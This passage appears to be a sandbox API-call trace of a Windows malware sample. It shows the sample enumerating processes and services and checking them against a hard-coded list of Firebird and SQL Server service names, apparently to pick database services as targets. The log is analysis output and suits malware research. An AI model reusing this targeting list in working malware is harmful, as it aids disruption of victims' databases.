dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.003] lstrlenW (lpString="svchost.exe") returned 11 [0182.004] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.004] lstrlenW (lpString="svchost.exe") returned 11 [0182.004] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.005] lstrlenW (lpString="svchost.exe") returned 11 [0182.005] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.005] lstrlenW (lpString="svchost.exe") returned 11 [0182.006] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.006] lstrlenW (lpString="svchost.exe") returned 11 [0182.006] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.008] lstrlenW (lpString="svchost.exe") returned 11 [0182.008] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.009] lstrlenW (lpString="svchost.exe") returned 11 [0182.009] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.009] lstrlenW (lpString="svchost.exe") returned 11 [0182.009] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.010] lstrlenW (lpString="svchost.exe") returned 11 [0182.010] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.010] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.010] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.011] lstrlenW (lpString="svchost.exe") returned 11 [0182.011] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.012] lstrlenW (lpString="audiodg.exe") returned 11 [0182.012] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0182.012] lstrlenW (lpString="sihost.exe") returned 10 [0182.012] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.013] lstrlenW (lpString="svchost.exe") returned 11 [0182.013] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.014] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.014] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0182.014] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0182.014] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0182.015] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0182.015] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0182.015] lstrlenW (lpString="Memory Compression") returned 18 [0182.015] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.016] lstrlenW (lpString="explorer.exe") returned 12 [0182.016] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0182.017] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0182.197] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0182.197] lstrlenW (lpString="SearchUI.exe") returned 12 [0182.197] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0182.198] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0182.198] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.198] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.198] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0182.199] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0182.199] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.200] lstrlenW (lpString="consent.exe") returned 11 [0182.200] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0182.201] lstrlenW (lpString="dllhost.exe") returned 11 [0182.201] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0182.202] CloseHandle (hObject=0x3f4) returned 1 [0182.202] Sleep (dwMilliseconds=0x1f4) [0182.805] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e208 [0182.806] EnumServicesStatusExW (in: hSCManager=0x408e208, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0182.808] GetLastError () returned 0xea [0182.808] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0182.808] EnumServicesStatusExW (in: hSCManager=0x408e208, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0182.809] CloseServiceHandle (hSCObject=0x408e208) returned 1 [0182.809] lstrlenW (lpString="Appinfo") returned 7 [0182.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.809] lstrlenW (lpString="AppXSvc") returned 7 [0182.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0182.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0182.809] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0182.809] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0182.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0182.809] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.810] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.810] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.810] lstrlenW (lpString="Audiosrv") returned 8 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0182.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0182.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0182.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0182.810] lstrlenW (lpString="BFE") returned 3 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.810] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.810] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.810] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.810] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0182.810] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0182.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0182.810] lstrlenW (lpString="CDPSvc") returned 6 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0182.810] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0182.810] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0182.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0182.810] lstrlenW (lpString="ClickToRunSvc") returned 13 [0182.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0182.811] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0182.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0182.811] lstrlenW (lpString="CryptSvc") returned 8 [0182.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.811] lstrlenW (lpString="DcomLaunch") returned 10 [0182.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.811] lstrlenW (lpString="DeviceAssociationService") returned 24 [0182.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0182.811] lstrlenW (lpString="Dhcp") returned 4 [0182.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.812] lstrlenW (lpString="Dnscache") returned 8 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.812] lstrlenW (lpString="DPS") returned 3 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.812] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.812] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.812] lstrlenW (lpString="DusmSvc") returned 7 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0182.812] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0182.812] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0182.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0182.812] lstrlenW (lpString="EventLog") returned 8 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0182.812] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0182.812] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0182.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0182.812] lstrlenW (lpString="EventSystem") returned 11 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.812] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.812] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.812] lstrlenW (lpString="FontCache") returned 9 [0182.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0182.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0182.813] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0182.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0182.813] lstrlenW (lpString="gpsvc") returned 5 [0182.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.813] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.813] lstrlenW (lpString="iphlpsvc") returned 8 [0182.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.813] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.813] lstrlenW (lpString="KeyIso") returned 6 [0182.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0182.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0182.813] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0182.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0182.813] lstrlenW (lpString="LanmanServer") returned 12 [0182.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.813] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.813] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.813] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.814] lstrlenW (lpString="lfsvc") returned 5 [0182.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0182.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0182.814] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0182.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0182.814] lstrlenW (lpString="lmhosts") returned 7 [0182.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.814] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.814] lstrlenW (lpString="LSM") returned 3 [0182.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0182.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0182.814] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0182.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0182.814] lstrlenW (lpString="MpsSvc") returned 6 [0182.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.814] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.814] lstrlenW (lpString="NcbService") returned 10 [0182.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0182.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0182.814] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0182.814] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0182.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0182.815] lstrlenW (lpString="netprofm") returned 8 [0182.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.815] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.815] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.851] lstrlenW (lpString="NgcSvc") returned 6 [0182.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0182.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0182.851] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0182.851] lstrlenW (lpString="NlaSvc") returned 6 [0182.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.851] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.851] lstrlenW (lpString="nsi") returned 3 [0182.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.851] lstrcmpiW 